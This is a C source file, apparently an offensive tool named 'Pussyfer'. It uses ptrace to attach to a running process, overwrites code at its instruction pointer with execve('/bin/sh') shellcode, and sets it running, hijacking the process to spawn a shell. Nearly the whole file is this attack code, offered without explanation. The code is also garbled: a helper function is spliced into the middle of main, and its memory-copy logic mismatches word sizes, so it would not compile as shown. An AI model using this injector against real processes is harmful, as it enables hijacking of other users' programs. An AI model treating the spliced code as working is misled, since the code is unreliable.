Pussyfer

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>



unsigned char shellcode[] = \
"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";




int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;
  int                     SHELLCODE_SIZE;




SHELLCODE_SIZE = strlen(shellcode);

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);
  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }
  printf ("+ Waiting for process...\n");
  wait (NULL);

  int







inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
    {
      perror ("ptrace(POKETEXT):");
      return -1;
    }
    }
  return 0;
}






printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
  regs.rip += 2;






  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");

  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(DETACH):");
      exit (1);
    }
  return 0;
}